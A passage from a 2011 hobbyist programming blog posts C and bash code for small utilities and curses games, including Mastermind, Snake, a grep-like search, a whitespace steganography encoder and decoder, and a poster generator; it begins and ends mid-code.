  case DIRECTION_RIGHT:
    hit_y = object->y;
    hit_x = object->x + 1;
    break;
  case DIRECTION_UP:
    hit_y = object->y - 1;
    hit_x = object->x;
    break;
  case DIRECTION_DOWN:
    hit_y = object->y + 1;
    hit_x = object->x;
    break;
  case DIRECTION_NONE:
  default:
    return MOVE_BLOCKED;
  }
  hit_object = mvinch(hit_y, hit_x) & A_CHARTEXT;

  if (object->symbol == '@') { /* Player. */
    switch (hit_object) {
    case '*':
      move_object_actual(object, direction);
      return MOVE_ON_MINE;
    case '$':
      move_object_actual(object, direction);
      return MOVE_ON_MONEY;
    case 'M':
      move_object_actual(object, direction);
      return MOVE_ON_ENEMY;
    case '#':
      for (i = 0; i < AMOUNT_OF_CRATES; i++) {
        if (hit_y == crates[i].y && hit_x == crates[i].x) {
          if (move_object_check(&crates[i], direction) == MOVE_OK) {
            move_object_actual(object, direction);
            return MOVE_OK;
          } else {
            return MOVE_BLOCKED;
          }
        }
      }
      return MOVE_BLOCKED;
    case ' ':
      move_object_actual(object, direction);
      return MOVE_OK;
    default:
      return MOVE_BLOCKED;
    }

  } else if (object->symbol == 'M') { /* Enemy. */
    if (hit_object == ' ' || hit_object == '@') {
      move_object_actual(object, direction);
      return MOVE_OK;
    } else {
      return MOVE_BLOCKED;
    }

  } else { /* Crates, etc. */
    if (hit_object == ' ') {
      move_object_actual(object, direction);
      return MOVE_OK;
    } else {
      return MOVE_BLOCKED;
    }
  }
}

static void draw_screen(void)
{
  int i;

  erase();

  box(stdscr, '|', '-');

  for (i = 0; i < AMOUNT_OF_MONEY; i++)
    if (! money[i].taken)
      draw_object(&money[i]);
  for (i = 0; i < AMOUNT_OF_MINES; i++)
    draw_object(&mines[i]);
  for (i = 0; i < AMOUNT_OF_CRATES; i++)
    draw_object(&crates[i]);
  draw_object(&player);
  draw_object(&enemy);

  move(player.y, player.x);

  refresh();
}

int main(void)
{
  int i, maxx, maxy, direction;
  char *done = NULL;

  initscr();
  if (has_colors()) {
    start_color();
    init_pair(PAIR_YELLOW, COLOR_YELLOW, COLOR_BLACK);
    init_pair(PAIR_CYAN,   COLOR_CYAN,   COLOR_BLACK);
  }
  noecho();
  keypad(stdscr, TRUE);
  getmaxyx(stdscr, maxy, maxx);

  if (maxy != GAME_ROWS || maxx != GAME_COLS) {
    endwin();
    fprintf(stderr, "Terminal must be %dx%d!\n", GAME_ROWS, GAME_COLS);
    return 1;
  }

  init_game();

  while (done == NULL) {
    draw_screen();

    /* Get player input. */
    direction = DIRECTION_NONE;
    switch (getch()) {
    case KEY_LEFT:
      direction = DIRECTION_LEFT;
      break;

    case KEY_RIGHT:
      direction = DIRECTION_RIGHT;
      break;

    case KEY_UP:
      direction = DIRECTION_UP;
      break;

    case KEY_DOWN:
      direction = DIRECTION_DOWN;
      break;

    case KEY_RESIZE:
      done = "Window resize detected, aborted...";
      break;

    case 'q':
    case 'Q':
    case '\e':
      done = "Quitting...";
      break;

    default:
      break;
    }

    /* Move player, and check for collisions. */
    switch (move_object_check(&player, direction)) {
    case MOVE_OK:
      steps_taken++;
      break;

    case MOVE_BLOCKED:
      break;

    case MOVE_ON_MINE:
      done = "You were killed by a mine!";
      break;

    case MOVE_ON_MONEY:
      for (i = 0; i < AMOUNT_OF_MONEY; i++) {
        if (player.y == money[i].y && player.x == money[i].x) {
          money_collected++;
          money[i].taken = 1;
        }
      }
      break;

    case MOVE_ON_ENEMY:
      done = "You moved onto the enemy!";
      break;
    }

    draw_screen(); /* To update the positions of the objects, not visible. */

    /* Move enemy, and check for collision with player. */
    if (move_object_check(&enemy, direction_to_player()) == MOVE_BLOCKED) {
      enemy_idle_count++;
      if (enemy_idle_count > 3) {
        if (move_object_check(&enemy, random_direction()) == MOVE_OK)
          enemy_idle_count = 0;
      }
    }

    if (player.y == enemy.y && player.x == enemy.x) {
      done = "You were killed by the enemy!";
      break;
    }

    if (money_collected == AMOUNT_OF_MONEY)
      done = "Well done! all money collected!";
  }

  draw_screen();
  endwin();

  fprintf(stderr, "%s\n", done);
  fprintf(stderr, "You collected %d$ of %d$.\n",
    money_collected, AMOUNT_OF_MONEY);
  fprintf(stderr, "You walked %d step%s.\n", 
    steps_taken, (steps_taken == 1) ? "" : "s");

  return 0;
}
          


Topic: Scripts and Code, by Kjetil @ 06/11-2011, Article Link

Recursive String Search

Here is another one of those simple programs that are missing on the Windows platform; a functioning string search tool! The program's scheme is somewhat similar to using the UNIX grep command's combination of the '-n' '-i' and '-r' switches. It will search in a directory and it's sub-directories for a fixed case-insensitive string and display the name of each file, the line number and the line itself where that string is found.

Here's is a link to the binary for Win32 (compiled with MinGW) and here's the source code:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <limits.h>
#include <unistd.h>
#include <dirent.h>

static char line[1024];

static void recurse(char *path, char *string, int len)
{
  char full_path[PATH_MAX];
  int n, match, name_shown, line_no;
  struct dirent *entry;
  struct stat st;
  DIR *dh;
  FILE *fh;

  dh = opendir(path);
  if (dh == NULL) {
    fprintf(stderr, "Warning: Unable to open directory: %s\n", path);
    return;
  }

  while ((entry = readdir(dh))) {
    if (entry->d_name[0] == '.')
      continue; /* Ignore files with leading dot. */

#ifdef WINNT
    snprintf(full_path, PATH_MAX, "%s\\%s", path, entry->d_name);
#else
    snprintf(full_path, PATH_MAX, "%s/%s", path, entry->d_name);
#endif

    stat(full_path, &st);
    if (S_ISDIR(st.st_mode)) {
      /* Traverse. */
      recurse(full_path, string, len);
    } else if (S_ISREG(st.st_mode)) {
      /* Search. */
      fh = fopen(full_path, "r");
      if (fh == NULL) {
        fprintf(stderr, "Warning: Unable to open file: %s\n", full_path);
        continue;
      }
      name_shown = line_no = 0;
      while (fgets(line, 1024, fh) != NULL) {
        line_no++;
        match = 0;
        for (n = 0; line[n] != '\0'; n++) {
          if (toupper(line[n]) == toupper(string[match])) {
            match++;
            if (match >= len) {
              if (! name_shown) {
                printf("%s\n", full_path);
                name_shown = 1;
              }
              printf("%d:%s", line_no, line);
              break;
            }
          } else {
            match = 0;
          }
        }
      }
      fclose(fh);
    }
  }

  closedir(dh);
  return;
}

int main(int argc, char *argv[])
{

  if (argc != 3) {
    fprintf(stderr, "Usage: %s <directory> <string>\n", argv[0]);
    return 1;
  }

  recurse(argv[1], argv[2], strlen(argv[2]));
  return 0;
}
          


Topic: Scripts and Code, by Kjetil @ 01/10-2011, Article Link

Mastermind in Curses

I present yet another curses-based game. This time, it's a "turn-based" one, blocking/waiting for user input, instead of always going forward in an "real-time" oriented manner. It's based on an old popular board game. And more; it's in color!

The rules are simple; try to guess the hidden code in 10 or less attempts. Each time a guess is made, some hints are given that will indicate if a part of the code is correct and in the correct position (X), or part a of the code is correct, but in the wrong position (/).

Here's a screenshot:

Screenshot of curses-based mastermind.


Here's the code:

#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <ncurses.h>

#define CODE_SLOTS 4
#define GUESS_SLOTS 10

typedef enum {
  CODE_NONE    = 0,
  CODE_ALPHA   = 1,
  CODE_BRAVO   = 2,
  CODE_CHARLIE = 3,
  CODE_DELTA   = 4,
  CODE_ECHO    = 5,
  CODE_FOXTROT = 6,
} code_t;

typedef enum {
  HINT_NONE = 0,
  HINT_CODE_AND_POSITION,
  HINT_CODE_ONLY,
} hint_t;

typedef struct guess_s {
  code_t code[CODE_SLOTS];
  hint_t hint[CODE_SLOTS];
} guess_t;

static const code_t code_to_char[] = {'.', 'A', 'B', 'C', 'D', 'E', 'F'};
static const hint_t hint_to_char[] = {' ', 'X', '/'};

static code_t hidden_code[CODE_SLOTS];
static guess_t guess[GUESS_SLOTS];
static int current_guess, current_slot;

static int guess_is_completed()
{
  int i;
  for (i = 0; i < CODE_SLOTS; i++) {
    if (guess[current_guess].code[i] == CODE_NONE)
      return 0;
  }
  return 1;
}

static int guess_is_correct()
{
  int i;
  for (i = 0; i < CODE_SLOTS; i++) {
    if (guess[current_guess].hint[i] != HINT_CODE_AND_POSITION)
      return 0;
  }
  return 1;
}

static void display_init(void)
{
  initscr();
  if (has_colors()) {
    start_color();
    init_pair(CODE_ALPHA,   COLOR_RED,     COLOR_BLACK);
    init_pair(CODE_BRAVO,   COLOR_GREEN,   COLOR_BLACK);
    init_pair(CODE_CHARLIE, COLOR_YELLOW,  COLOR_BLACK);
    init_pair(CODE_DELTA,   COLOR_BLUE,    COLOR_BLACK);
    init_pair(CODE_ECHO,    COLOR_MAGENTA, COLOR_BLACK);
    init_pair(CODE_FOXTROT, COLOR_CYAN,    COLOR_BLACK);
  }
  noecho();
  keypad(stdscr, TRUE);
}

static void display_update(char *end_msg)
{
  int i, j;

  erase();

  /* Draw area with hidden code. */
  mvaddstr(0, 0, "+---+---+---+---+");
  if (end_msg != NULL) {
    mvaddstr(1, 0, "|   |   |   |   |");
    for (i = 0; i < CODE_SLOTS; i++) {
      move(1, 2 + (i * 4));
      if (has_colors() && hidden_code[i] != CODE_NONE)
        attrset(A_BOLD | COLOR_PAIR(hidden_code[i]));
      addch(code_to_char[hidden_code[i]]);
      if (has_colors() && hidden_code[i] != CODE_NONE)
        attrset(A_NORMAL);
    }
    mvaddstr(1, 18, end_msg);
  } else {
    mvaddstr(1, 0, "|###|###|###|###|");
  }
  mvaddstr(2, 0, "+---+---+---+---+----+");

  /* Draw area with user guesses. */
  for (i = 0; i < GUESS_SLOTS; i++) {
    mvaddstr(3 + (i * 2), 0, "|   |   |   |   |    |");

    for (j = 0; j < CODE_SLOTS; j++) {
      move(3 + (i * 2), 2 + (j * 4));
      if (has_colors() && guess[i].code[j] != CODE_NONE)
        attrset(A_BOLD | COLOR_PAIR(guess[i].code[j]));
      addch(code_to_char[guess[i].code[j]]);
      if (has_colors() && guess[i].code[j] != CODE_NONE)
        attrset(A_NORMAL);
    }

    for (j = 0; j < CODE_SLOTS; j++) {
      move(3 + (i * 2), 17 + j);
      if (has_colors() && guess[i].hint[j] != HINT_NONE)
        attrset(A_BOLD);
      addch(hint_to_char[guess[i].hint[j]]);
      if (has_colors() && guess[i].hint[j] != HINT_NONE)
        attrset(A_NORMAL);
    }

    mvaddstr(4 + (i * 2), 0, "+---+---+---+---+----+");
  }

  /* Place cursor on current slot to select. */
  move(3 + (current_guess * 2), 2 + (current_slot * 4));

  refresh();
}

static void evaluate_and_give_hints(void)
{
  int i, j, code_only = 0, code_and_pos = 0;
  int guess_covered[CODE_SLOTS], hidden_covered[CODE_SLOTS];

  /* Check for correct code and position. */
  for (i = 0; i < CODE_SLOTS; i++) {
    if (guess[current_guess].code[i] == hidden_code[i]) {
      code_and_pos++;
      guess_covered[i] = 1;
      hidden_covered[i] = 1;
    } else {
      guess_covered[i] = 0;
      hidden_covered[i] = 0;
    }
  }

  /* Check for any remaining correct codes. */
  for (i = 0; i < CODE_SLOTS; i++) {
    if (guess_covered[i])
      continue;
    for (j = 0; j < CODE_SLOTS; j++) {
      if (hidden_covered[j])
        continue;
      if (guess[current_guess].code[i] == hidden_code[j]) {
        hidden_covered[j] = 1;
        code_only++;
        break;
      }
    }
  }

  i = 0;
  while (code_and_pos-- > 0)
    guess[current_guess].hint[i++] = HINT_CODE_AND_POSITION;
  while (code_only-- > 0)
    guess[current_guess].hint[i++] = HINT_CODE_ONLY;
}

static void hidden_code_randomize(void)
{
  int i;
  srandom(time(NULL));
  for (i = 0; i < CODE_SLOTS; i++)
    hidden_code[i] = (random() % CODE_FOXTROT) + 1;
}

int main(void)
{
  int user_done, user_quit;

  memset(guess, 0, sizeof(guess_t) * GUESS_SLOTS);
  display_init();
  hidden_code_randomize();

  for (current_guess = GUESS_SLOTS - 1;
       current_guess >= 0;
       current_guess--) {

    /* Wait for user to make a valid guess. */
    current_slot = user_done = user_quit = 0;
    while ((! user_done) && (! user_quit)) {
      display_update(NULL);

      switch (getch()) {
      case KEY_LEFT:
        current_slot--;
        if (current_slot < 0)
          current_slot = 0;
        break;

      case KEY_RIGHT:
        current_slot++;
        if (current_slot >= CODE_SLOTS)
          current_slot = CODE_SLOTS - 1;
        break;

      case KEY_UP:
        guess[current_guess].code[current_slot]++;
        if (guess[current_guess].code[current_slot] > CODE_FOXTROT)
          guess[current_guess].code[current_slot] = CODE_ALPHA;
        break;

      case KEY_DOWN:
        guess[current_guess].code[current_slot]--;
        if (guess[current_guess].code[current_slot] == CODE_NONE ||
            guess[current_guess].code[current_slot] > CODE_FOXTROT)
          guess[current_guess].code[current_slot] = CODE_FOXTROT;
        break;

      case KEY_ENTER:
      case '\n':
      case ' ':
        if (guess_is_completed())
          user_done = 1;
        break;

      case 'q':
      case 'Q':
      case '\e':
        user_quit = 1;
        break;

      default:
        break;
      }
    }

    if (user_quit)
      break;

    evaluate_and_give_hints();

    if (guess_is_correct())
      break;
  }

  if (guess_is_correct()) {
    display_update("Congratulations!");
  } else {
    if (user_quit) {
      display_update("Aborted.");
    } else {
      display_update("Too late!");
    }
  }

  if (! user_quit)
    getch(); /* Press any key... */

  endwin();
  return 0;
}
          


Topic: Scripts and Code, by Kjetil @ 03/09-2011, Article Link

Plaintext Steganography

The most common form of Steganography is to hide messages inside images, but what about hiding messages inside (plaintext) messages? This is the question I asked myself before creating this set of programs to do exactly that.

There are several ways to do this, but the approach I used was to utilize the whitespace (spaces and newlines) to hide the message. Basically, the amount of words (odd or even) on a line will indicate if the hidden bit is a one or zero. This works on all kind of text, but unfortunately requires a lot of it to hide even the smallest amounts of data. The only practical usage I can think of right now, is to hide passwords.

Here is the encoder:

#include <stdio.h>

#define WRAP 80

static int getbit(FILE *fh)
{
  static int x = 7;
  static int c = '\0';

  if (x == -1)
    x = 7;
  if (x == 7) {
    c = fgetc(fh);
    if (c == EOF)
      return -1;
  }

  return (c >> x--) & 0x1;
}

int main(int argc, char *argv[])
{
  int c, n, spaces, bit, index, had_space, new_index;
  unsigned char buffer[WRAP];
  FILE *fh;

  if (argc != 2) {
    fprintf(stderr, "Usage: %s <text file>\n", argv[0]);
    return 1;
  }

  fh = fopen(argv[1], "r");
  if (fh == NULL) {
    fprintf(stderr, "Error: Unable to open text file for reading.\n");
    return 1;
  }

  n = spaces = index = had_space = 0;
  while (1) {
    bit = getbit(stdin);

    while ((c = fgetc(fh)) != EOF) {
      if (c == '\n' || c == '\r' || c == '\t')
        c = ' '; /* Convert. */

      if (c == ' ') {
        if (had_space)
          continue;
        had_space = 1;
        spaces++;
        if (bit == -1) {
          if ((spaces % 2) == 0) /* Pad output with zeros. */
            index = n;
        } else {
          if ((spaces % 2) == bit)
            index = n;
        }
      } else {
        had_space = 0;
      }

      buffer[n] = c;
      n++;

      if (n >= WRAP) {
        if (index == 0) {
          fprintf(stderr, "Error: Words in text are too large.\n");
          fclose(fh);
          return 1;
        }

        for (n = 0; n < index; n++) {
          fputc(buffer[n], stdout);
        }
        fputc('\n', stdout);

        spaces = new_index = had_space = 0;
        index++;
        for (n = index; n < WRAP; n++) {
          buffer[n - index] = buffer[n];
          if (buffer[n] == ' ') {
            spaces++;
            new_index = n;
          }
        }
        n = WRAP - index;
        index = new_index;

        break;
      }
    }

    if (feof(fh)) {
      fclose(fh);
      if (bit == -1) {
        return 0;
      } else {
        fprintf(stderr, "Error: Not enough text to cover data.\n");
        return 1;
      }
    }
  }

  return 0;
}
          


And here is the decoder:

#include <stdio.h>

static int power_of_two(int n)
{
  if (n == 0)
    return 1;
  else
    return 2 * power_of_two(n - 1);
}

int main(int argc, char *argv[])
{
  int n, c, spaces, value;

  n = 7;
  spaces = value = 0;
  while ((c = fgetc(stdin)) != EOF) {
    if (c == '\n') {
      if ((spaces % 2) == 0)
        value += power_of_two(n);
      n--;

      if (n < 0) {
        fputc(value, stdout);
        value = 0;
        n = 7;
      }

      spaces = 0;
    } else if (c == ' ') {
      spaces++;
    }
  }

  return 0;
}
          


Topic: Scripts and Code, by Kjetil @ 17/07-2011, Article Link

DVD Batch Copying

I needed to copy a lot of files from a lot of DVDs over to a local hard-drive. In order to help with this, I made a shell script to semi-automate the process. This script will eject the tray, wait for the user to press enter, then close the tray and start copying files. After it is done copying, the process loops, asking for the next DVD to be put in the tray.

Here it is, hope you can make use of it:

#!/bin/bash

function abort {
  echo "Aborting..."
  eject -t /dev/cdrom
  exit
}

trap abort SIGINT

# Find first available directory.
DVD_NO=1
while [ -d "./dvd_$DVD_NO" ]; do
  DVD_NO=`expr $DVD_NO + 1`
done

while /bin/true; do
  eject /dev/cdrom

  # Wait for user to press enter.
  while /bin/true; do
    echo -n "Feed me! "
    read -n 1 CHAR
    if [ "$CHAR" == "" ]; then
      break
    fi
  done

  eject -t /dev/cdrom
  echo "Reading DVD #$DVD_NO..."
  sleep 30
  mkdir -v "./dvd_$DVD_NO" || exit 1
  mount /mnt/cdrom || exit 2

  cp -v -R /mnt/cdrom/* "./dvd_$DVD_NO"
  find "./dvd_$DVD_NO" -type d -exec chmod 755 {} \;
  find "./dvd_$DVD_NO" -type f -exec chmod 644 {} \;

  sleep 3
  umount /mnt/cdrom
  sleep 3
  DVD_NO=`expr $DVD_NO + 1`
done
          


Topic: Scripts and Code, by Kjetil @ 12/06-2011, Article Link

CRLF to LF Converter

This is a really simple program, but it's always missing on the Windows platform, where it is needed the most. Because of this, I will include both the source code and a Windows binary here for easy access.

Notice that the program does not use standard in/out; this has to do with the strange Windows behaviour on binary files. Instead, the files must be opened directly using "binary mode".

Here's the binary (compiled with MinGW) and here's the source:

#include <stdio.h>

int main(int argc, char *argv[])
{
  int c, last;
  FILE *in, *out;

  if (argc != 3) {
    fprintf(stderr, "Usage: %s <infile> <outfile>\n", argv[0]);
    return 1;
  }

  in = fopen(argv[1], "rb");
  if (in == NULL) {
    fprintf(stderr, "Error: Cannot open input file.\n");
    return 1;
  }

  out = fopen(argv[2], "wb");
  if (out == NULL) {
    fprintf(stderr, "Error: Cannot open output file.\n");
    fclose(in);
    return 1;
  }

  last = -1;
  while ((c = fgetc(in)) != EOF) {
    if (c == '\n' && last == '\r') {
      fputc(c, out);
      last = -1;
    } else {
      if (last != -1)
        fputc(last, out);
      last = c;
    }
  }
  if (last != -1)
    fputc(last, out);

  fclose(in);
  fclose(out);

  return 0;
}
          


Topic: Scripts and Code, by Kjetil @ 07/05-2011, Article Link

Motivational Poster Generator

Here is a short program that will take an input image, combine it with some input text and produce a motivational poster. The size and aspect of the original input image will be kept, and the frames, text and everything else will be scaled according to it. Unfortunately, text is not automatically wrapped, so this must be handled by the caller if using multiple lines.

The program is written in C and uses the GD library to produce the graphics. This library is already available on most Unix platforms by default. There are some hard-coded paths to font files that may need to be adjusted on some platforms. (I tested this on Slackware 12.2.)

Here's an example of an output motivational poster:

An example output image.


And here is the code to make it happen:

#include <gd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

#define UPPER_LOWER_MARGIN_FACTOR 0.12
#define LEFT_RIGHT_MARGIN_FACTOR 0.18
#define TITLE_FONT_SIZE_DIVISOR 16
#define MESSAGE_FONT_SIZE_DIVISOR 48
#define TEXT_PADDING_DIVISOR 50
#define FRAME_PADDING 3

#define TITLE_FONT_PATH "/usr/share/fonts/TTF/DejaVuSerif.ttf"
#define MESSAGE_FONT_PATH  "/usr/share/fonts/TTF/DejaVuSans.ttf"

#define PNG_MAGIC "\x89PNG"
#define JPEG_MAGIC "\xff\xd8"

int main(int argc, char *argv[])
{
  gdImagePtr poster, image;
  FILE *fh;
  char magic[4];
  int is_jpeg, white, black;
  int title_rect[8], message_rect[8];
  int upper_lower_margin, left_right_margin;
  int title_font_size, message_font_size;
  int poster_height, poster_width;
  int text_padding, text_height;
  int title_pos_x, title_pos_y, message_pos_x, message_pos_y;

  if (argc != 5) {
    fprintf(stderr,
      "Usage: %s <input image> <title> <message> <output image>\n", argv[0]);
    return 1;
  }

  fh = fopen(argv[1], "rb");
  if (fh == NULL) {
    fprintf(stderr, "%s: error: cannot open image file: %s\n",
      argv[0], strerror(errno));
    return 1;
  }

  fread(magic, sizeof(char), 4, fh);
  if (memcmp(magic, PNG_MAGIC, 4) == 0) {
    is_jpeg = 0;
  } else if (memcmp(magic, JPEG_MAGIC, 2) == 0) {
    is_jpeg = 1;
  } else {
    fprintf(stderr, "%s: error: image file must be in PNG or JPEG format\n",
      argv[0]);
    fclose(fh);
    return 1;
  }
    
  rewind(fh);
  if (is_jpeg) {
    image = gdImageCreateFromJpeg(fh);
  } else {
    image = gdImageCreateFromPng(fh);
  }
  fclose(fh);

  if (image == NULL) {
    fprintf(stderr, "%s: error: unable to parse image file\n", argv[0]);
    return 1;
  }

  upper_lower_margin = image->sy * UPPER_LOWER_MARGIN_FACTOR;
  left_right_margin  = image->sx * LEFT_RIGHT_MARGIN_FACTOR;
  title_font_size    = image->sx / TITLE_FONT_SIZE_DIVISOR;
  message_font_size  = image->sx / MESSAGE_FONT_SIZE_DIVISOR;

  gdImageStringFT(NULL, title_rect, white, TITLE_FONT_PATH,
    title_font_size, 0, 0, 0, argv[2]);
  gdImageStringFT(NULL, message_rect, white, MESSAGE_FONT_PATH,
    message_font_size, 0, 0, 0, argv[3]);

  text_padding = image->sy / TEXT_PADDING_DIVISOR;
  text_height = abs(title_rect[7]) + abs(message_rect[7]) + (text_padding * 3);
  poster_width = image->sx + (left_right_margin * 2);
  poster_height = image->sy + (upper_lower_margin * 2) + text_height;

  poster = gdImageCreateTrueColor(poster_width, poster_height);

  black = gdImageColorAllocate(poster, 0, 0, 0); /* First is also BG color. */
  white = gdImageColorAllocate(poster, 255, 255, 255);

  gdImageCopy(poster, image, left_right_margin, upper_lower_margin,
              0, 0, image->sx, image->sy);

  gdImageLine(poster,
              left_right_margin - (FRAME_PADDING + 1),
              upper_lower_margin - (FRAME_PADDING + 1),
              left_right_margin + image->sx + FRAME_PADDING,
              upper_lower_margin - (FRAME_PADDING + 1),
              white);

  gdImageLine(poster,
              left_right_margin - (FRAME_PADDING + 1),
              upper_lower_margin - (FRAME_PADDING + 1),
              left_right_margin - (FRAME_PADDING + 1),
              upper_lower_margin + image->sy + FRAME_PADDING,
              white); 

  gdImageLine(poster,
              left_right_margin - (FRAME_PADDING + 1),
              upper_lower_margin + image->sy + FRAME_PADDING,
              left_right_margin + image->sx + FRAME_PADDING,
              upper_lower_margin + image->sy + FRAME_PADDING,
              white); 

  gdImageLine(poster,
              left_right_margin + image->sx + FRAME_PADDING,
              upper_lower_margin - (FRAME_PADDING + 1),
              left_right_margin + image->sx + FRAME_PADDING,
              upper_lower_margin + image->sy + FRAME_PADDING,
              white); 

  title_pos_x   = (poster_width / 2) - (abs(title_rect[2]) / 2);
  message_pos_x = (poster_width / 2) - (abs(message_rect[2]) / 2);
  title_pos_y = upper_lower_margin + image->sy +
    text_padding + abs(title_rect[7]);
  message_pos_y = title_pos_y + (text_padding * 2) + abs(message_rect[7]);

  gdImageStringFT(poster, NULL, white, TITLE_FONT_PATH,
    title_font_size, 0, title_pos_x, title_pos_y, argv[2]);
  gdImageStringFT(poster, NULL, white, MESSAGE_FONT_PATH,
    message_font_size, 0, message_pos_x, message_pos_y, argv[3]);

  fh = fopen(argv[4], "wbx");

  if (fh == NULL) {
    fprintf(stderr, "%s: error: cannot open output file: %s\n",
      argv[0], strerror(errno));
    gdImageDestroy(image);
    gdImageDestroy(poster);
    return 1;
  }

  if (is_jpeg) {
    gdImageJpeg(poster, fh, -1);
  } else {
    gdImagePng(poster, fh);
  }

  fclose(fh);

  gdImageDestroy(image);
  gdImageDestroy(poster);

  return 0;
}
          


Topic: Scripts and Code, by Kjetil @ 03/04-2011, Article Link

Snake in Curses

This is just something I whipped up in my spare time. Another example of an idea turned into software. And once again, the curses library is involved. I present to you, a real-time action-packed snake game. Collect "apples" and extend until you crash.

Take a look...:

Screenshot of snake in curses.


...and compile this code to play:

#include <stdlib.h>
#include <ncurses.h>
#include <time.h>
#include <unistd.h>

typedef enum {
  DIRECTION_UP,
  DIRECTION_DOWN,
  DIRECTION_LEFT,
  DIRECTION_RIGHT,
} direction_t;

typedef struct direction_queue_s {
  direction_t direction;
  struct direction_queue_s *next, *prev;
} direction_queue_t;

static direction_queue_t *queue_head = NULL, *queue_tail = NULL;
static int score;
static int pos_y;
static int pos_x;
static int apple_y;
static int apple_x;

static void queue_insert(direction_t direction, int remove_tail)
{
  direction_queue_t *new, *temp;

  new = (direction_queue_t *)malloc(sizeof(direction_queue_t));
  if (new == NULL)
    exit(1);
  new->direction = direction;

  new->next = NULL;
  if (queue_head != NULL)
    queue_head->next = new;
  new->prev = queue_head;
  queue_head = new;
  if (queue_tail == NULL)
    queue_tail = new;

  if (remove_tail && queue_tail != NULL) {
    temp = queue_tail;
    queue_tail = queue_tail->next;
    queue_tail->prev = NULL;
    free(temp);
  }
}

static void update_screen(void)
{
  int current_y, current_x;
  direction_queue_t *current;

  erase();

  box(stdscr, '|', '-');

  current_y = pos_y;
  current_x = pos_x;
  for (current = queue_head; current != NULL; current = current->prev) {
    mvaddch(current_y, current_x, '#');
    switch (current->direction) {
    case DIRECTION_UP:
      current_y++;
      break;
    case DIRECTION_DOWN:
      current_y--;
      break;
    case DIRECTION_LEFT:
      current_x++;
      break;
    case DIRECTION_RIGHT:
      current_x--;
      break;
    }
  }

  mvaddch(apple_y, apple_x, '@');

  move(pos_y, pos_x);

  refresh();
}

static void place_apple(void)
{
  int maxx, maxy;
  getmaxyx(stdscr, maxy, maxx);
  do {
    move((random() % (maxy - 2)) + 1, (random() % (maxx - 2)) + 1); 
  } while (inch() != ' ');
  getyx(stdscr, apple_y, apple_x);
}

static void exit_handler(void)
{
  direction_queue_t *current, *last = NULL;

  if (queue_tail != NULL) {
    for (current = queue_tail; current != NULL; current = current->next) {
      if (last != NULL)
        free(last);
      last = current->prev;
    }
    if (last != NULL)
      free(last);
  }

  endwin();
  printf("\nScore: %d\n", score);
}

int main(void)
{
  int c, maxy, maxx;
  direction_t current_direction, original_direction;

  /* Initialize curses. */
  initscr();
  atexit(exit_handler);
  noecho();
  keypad(stdscr, TRUE);
  timeout(0); /* Non-blocking mode */

  getmaxyx(stdscr, maxy, maxx);
  srandom(time(NULL));

  /* Set initial variables. */
  current_direction = DIRECTION_RIGHT;
  queue_insert(DIRECTION_RIGHT, 0);
  queue_insert(DIRECTION_RIGHT, 0);
  queue_insert(DIRECTION_RIGHT, 0);
  score = 0;
  pos_y = maxy / 2;
  pos_x = maxx / 2;
  place_apple();

  update_screen();

  while (1) {

    /* Read character buffer until empty. */
    original_direction = current_direction;
    while ((c = getch()) != ERR) {
      switch (c) {
      case KEY_RESIZE:
        return 0; /* Not allowed! */
      case KEY_UP:
        if (original_direction != DIRECTION_DOWN)
          current_direction = DIRECTION_UP;
        break;
      case KEY_DOWN:
        if (original_direction != DIRECTION_UP)
          current_direction = DIRECTION_DOWN;
        break;
      case KEY_LEFT:
        if (original_direction != DIRECTION_RIGHT)
          current_direction = DIRECTION_LEFT;
        break;
      case KEY_RIGHT:
        if (original_direction != DIRECTION_LEFT)
          current_direction = DIRECTION_RIGHT;
        break;
      case 'q':
      case 'Q':
      case '\e':
        exit(0);
      }
    }

    /* Move player. */
    switch (current_direction) {
    case DIRECTION_UP:
      pos_y--;
      break;
    case DIRECTION_DOWN:
      pos_y++;
      break;
    case DIRECTION_LEFT:
      pos_x--;
      break;
    case DIRECTION_RIGHT:
      pos_x++;
      break;
    }

    /* Check for collisions. */
    c = mvinch(pos_y, pos_x);
    if (c == ' ') { /* Normal progression. */
      queue_insert(current_direction, 1);
    } else if (c == '@') { /* Expand. */
      queue_insert(current_direction, 0);
      score++;
      place_apple();
    } else { /* Died. */
      flash();
      exit(0);
    }

    /* Redraw screen. */
    update_screen();
    usleep(75000);
  }

  return 0;
}
          


Topic: Scripts and Code, by Kjetil @ 01/02-2011, Article Link

Simple Curses Menu

Here is another one of those applications that fill a small niche. This application will simply present the user with a list, where one item is selected. The list itself is read from a file, and the selection (line number from the file) is returned as the exit code from the application itself. Based on this information, it is clear that the application is meant to be used in coordination with a shell script. The application uses the (n)curses library to present the "graphics", and also features a fancy scrollbar!

Here's a screenshot...:

Simple curses menu screenshot


...and here's the code:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ncurses.h>
#include <signal.h>

#define ENTRY_LIMIT 255 /* Same as limit for exit code. */
#define TEXT_LIMIT 128

static char list[ENTRY_LIMIT][TEXT_LIMIT];
static int list_size      = 0;
static int scroll_offset  = 0;
static int selected_entry = 0;

static void update_screen(void)
{
  int n, i, maxy, maxx;
  int scrollbar_size, scrollbar_pos;

  getmaxyx(stdscr, maxy, maxx);
  erase();

  /* Draw text lines. */
  for (n = 0; n < maxy; n++) {
    if ((n + scroll_offset) >= list_size)
      break;

    if (n == (selected_entry - scroll_offset)) {
      attron(A_REVERSE);
      mvaddstr(n, 0, list[n + scroll_offset]);
      for (i = strlen(list[n + scroll_offset]); i < maxx - 2; i++)
        mvaddch(n, i, ' ');
      attroff(A_REVERSE);
    } else {
      mvaddstr(n, 0, list[n + scroll_offset]);
    }
  }

  /* Draw scrollbar. */
  if (list_size <= maxy)
    scrollbar_size = maxy;
  else
    scrollbar_size = maxy / (list_size / (double)maxy);

  scrollbar_pos = selected_entry / (double)list_size * (maxy - scrollbar_size);
  attron(A_REVERSE);
  for (i = 0; i <= scrollbar_size; i++)
    mvaddch(i + scrollbar_pos, maxx - 1, ' ');
  attroff(A_REVERSE);

  mvvline(0, maxx - 2, 0, maxy);

  /* Place cursor at end of selected line. */
  move(selected_entry - scroll_offset, maxx - 3);
}

static void exit_handler(void)
{
  endwin();
}

static void winch_handler(void)
{
  endwin(); /* To get new window limits. */
  update_screen();
  flushinp();
  keypad(stdscr, TRUE);
}

static void interrupt_handler(int signo)
{
  exit(0); /* Exit with code 0, always. */
}

